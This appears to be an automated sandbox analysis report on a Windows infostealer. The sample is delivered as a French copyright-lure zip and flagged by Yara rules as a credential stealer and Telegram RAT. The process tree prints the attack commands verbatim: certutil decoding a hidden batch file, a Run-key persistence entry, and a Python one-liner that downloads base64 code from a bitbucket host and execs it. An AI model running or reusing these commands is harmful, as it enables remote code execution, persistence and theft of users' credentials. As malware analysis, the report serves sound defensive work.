Preview:	L..................F.@.. ...$+.,....6.C2M7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY6W...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 09:57:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9667442930044055
Encrypted:	false
SSDEEP:	48:8U4DMdcTgIQHmidAKZdA1hehBiZUk1W1qeh+ty+C:8HDfM94y
MD5:	38C197D73FA6F4D68F3B117C1222554C
SHA1:	F4ABDC5CF7642AEFB30B2300A27546024D082E87
SHA-256:	0EAAD2A05777414301B5F4C917B875BE121CD8FE0E966C71EA1C8DC4783437E1
SHA-512:	AB7A0CADEAED81DB946F4A54424BEE82F005647C75BB40A457C8302C697F9DF551A22BAAF5C2F3F5E86AC0B30C871D73C8F829A31615FFF4B420DB327B9DC21F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....#.R2M7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY6W...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 09:57:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9763704998987377
Encrypted:	false
SSDEEP:	48:82MdcTgIQHmidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUty+yT+:8efiT/TbxWOvTbqy7T
MD5:	272F7A1664B0C34C7D190C3AB1D26C49
SHA1:	612B7FB75FDCA9834C3C540C2A20F5C19AF7818F
SHA-256:	717C32D9ECE92760A908A343B44DD6EC79A7353601FAD35EFAD68AE33CA0AC8D
SHA-512:	D0239B76A7A657BFD949382F035B7D136F0825D0740D0F0E6487CF0FBC89ADE276FCC4306912DC17957026647E69C8101C49CBB9DE17E95C2843AA9CA8BA5208
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....92M7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY4W....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY4W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY4W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY4W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY6W...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............t.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	low
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	147273996
Entropy (8bit):	7.999996928198214
Encrypted:	true
SSDEEP:	3145728:v441AiRCI4deSMzC2RfTIE1pq6E85lETyu9bLrWUKH3MTG0:vyCCI4deSMn5BELTH9bWl+/
MD5:	15BF9A93B649A37FF03D6E193CB227AB
SHA1:	73418FD99C426BCB0E1C9B9281AC5CF9A057FD44
SHA-256:	4658760525CAB0F859D4CFD816AAE941EFC040813619AAE275843027C111C02E
SHA-512:	910EF8B53F98E89E717DF3FB16ED3262F61455A21A447FDD621735685A011D22CDC81C8FBB048329AFEF69C79C1431E1C3B0DD08597E342950ACC6E995EE5532
Malicious:	false
Reputation:	low
Preview:	PK.........R.Y.0.g.-.h a.a...La collection de vid.os et d.images est prot.g.e par les droits d.auteur de l.auteur.exe.<}\|.....0..l..T..h<8..Z.\|...n..........E....X..e.B.,5.x.5._....[+z.pl.P#.......f..La.%{.......G..n.?...y...~..y..75#;B......B...Q...Ch...v...;ty.[p....U..^w.?.[~g..k..UWt.mE.....ZSTy...;.Zy.../..X..7...\|~.K......._=...<\|..C..^.."W=.V.N+.^.,.F.@.^u.........y..S..U.k..~...'.....G.W]\|.....s#.<..i.B.N..6.....M..&-roCh.....V.?<...?@..l.....jt..+......~9........?.(.Q......W[.vj.m.....). .+o.)B....[..n9B.,..x_...O....20T.5..h5B..#t.:..k...V .x.<.....3........@D..q. .N..vx.\|....C.}....S..b...{..}..6.].Se...L..xI...b...\,.1.-...S........OK..4.....= .....4.Q.8.....Y.6.....x..90...o..Ly.j..!\|.sw..............`$..<.N....o%..L\|..W.....SJ..bx..v..v.i.,...9...Q.a=.d".,...V..O.'.o).Lfg.....Gh.i.O..e\o..q.'.5. T...d.to..T..%..A..P]>.e.4.....?",..)..Wz.......W1..M.c.w..O.D.....T._.&q`.S....(,...G.h....c.n..^..p.*.#....$.7

C:\Users\user\Downloads\La collection de vid.os et d.images est prot.g.e par les droits d.auteur de l.auteur.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	147273996
Entropy (8bit):	7.999996928198214
Encrypted:	true
SSDEEP:	3145728:v441AiRCI4deSMzC2RfTIE1pq6E85lETyu9bLrWUKH3MTG0:vyCCI4deSMn5BELTH9bWl+/
MD5:	15BF9A93B649A37FF03D6E193CB227AB
SHA1:	73418FD99C426BCB0E1C9B9281AC5CF9A057FD44
SHA-256:	4658760525CAB0F859D4CFD816AAE941EFC040813619AAE275843027C111C02E
SHA-512:	910EF8B53F98E89E717DF3FB16ED3262F61455A21A447FDD621735685A011D22CDC81C8FBB048329AFEF69C79C1431E1C3B0DD08597E342950ACC6E995EE5532
Malicious:	true
Reputation:	low
Preview:	PK.........R.Y.0.g.-.h a.a...La collection de vid.os et d.images est prot.g.e par les droits d.auteur de l.auteur.exe.<}\|.....0..l..T..h<8..Z.\|...n..........E....X..e.B.,5.x.5._....[+z.pl.P#.......f..La.%{.......G..n.?...y...~..y..75#;B......B...Q...Ch...v...;ty.[p....U..^w.?.[~g..k..UWt.mE.....ZSTy...;.Zy.../..X..7...\|~.K......._=...<\|..C..^.."W=.V.N+.^.,.F.@.^u.........y..S..U.k..~...'.....G.W]\|.....s#.<..i.B.N..6.....M..&-roCh.....V.?<...?@..l.....jt..+......~9........?.(.Q......W[.vj.m.....). .+o.)B....[..n9B.,..x_...O....20T.5..h5B..#t.:..k...V .x.<.....3........@D..q. .N..vx.\|....C.}....S..b...{..}..6.].Se...L..xI...b...\,.1.-...S........OK..4.....= .....4.Q.8.....Y.6.....x..90...o..Ly.j..!\|.sw..............`$..<.N....o%..L\|..W.....SJ..bx..v..v.i.,...9...Q.a=.d".,...V..O.'.o).Lfg.....Gh.i.O..e\o..q.'.5. T...d.to..T..%..A..P]>.e.4.....?",..)..Wz.......W1..M.c.w..O.D.....T._.&q`.S....(,...G.h....c.n..^..p.*.#....$.7

C:\Users\user\count

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Static File Info

⊘No static file info

File Icon


Icon Hash:	00b29a8e86828200

Target ID:	0
Start time:	05:57:37
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:57:40
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:57:42
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/-kxCO"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:58:13
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Imagebase:	0x410000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:58:13
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Imagebase:	0xa30000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:58:13
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exePID: 3636, Parent PID: 3724

General

Target ID:	11
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"
Imagebase:	0x400000
File size:	6'365'288 bytes
MD5 hash:	4864A55CFF27F686023456A22371E790
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:58:17
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:58:18
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
Wow64 process (32bit):	false
Commandline:	Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l
Imagebase:	0x7ff6f67b0000
File size:	644'184 bytes
MD5 hash:	01F28B85ABF1993B7B14B3D15346F2E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:58:18
Start date:	15/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	05:58:20
Start date:	15/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:58:20
Start date:	15/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1684,i,14855367943723757865,2804243206049956149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	05:58:37
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\certutil.exe
Wow64 process (32bit):	true
Commandline:	certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"
Imagebase:	0x200000
File size:	1'277'440 bytes
MD5 hash:	0DDA4F16AE041578B4E250AE12E06EB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:58:37
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f
Imagebase:	0x110000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:58:37
Start date:	15/11/2024
Path:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Imagebase:	0x110000
File size:	100'120 bytes
MD5 hash:	8AD6C16026FF6C01453D5FA392C14CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:58:47
Start date:	15/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:58:47
Start date:	15/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:58:47
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Imagebase:	0x7ff656f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: conhost.exePID: 1992, Parent PID: 6816

General

Target ID:	29
Start time:	05:58:47
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:58:47
Start date:	15/11/2024
Path:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Imagebase:	0x110000
File size:	100'120 bytes
MD5 hash:	8AD6C16026FF6C01453D5FA392C14CB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001E.00000002.2910752820.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	05:58:55
Start date:	15/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:58:55
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Imagebase:	0x520000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	05:58:55
Start date:	15/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
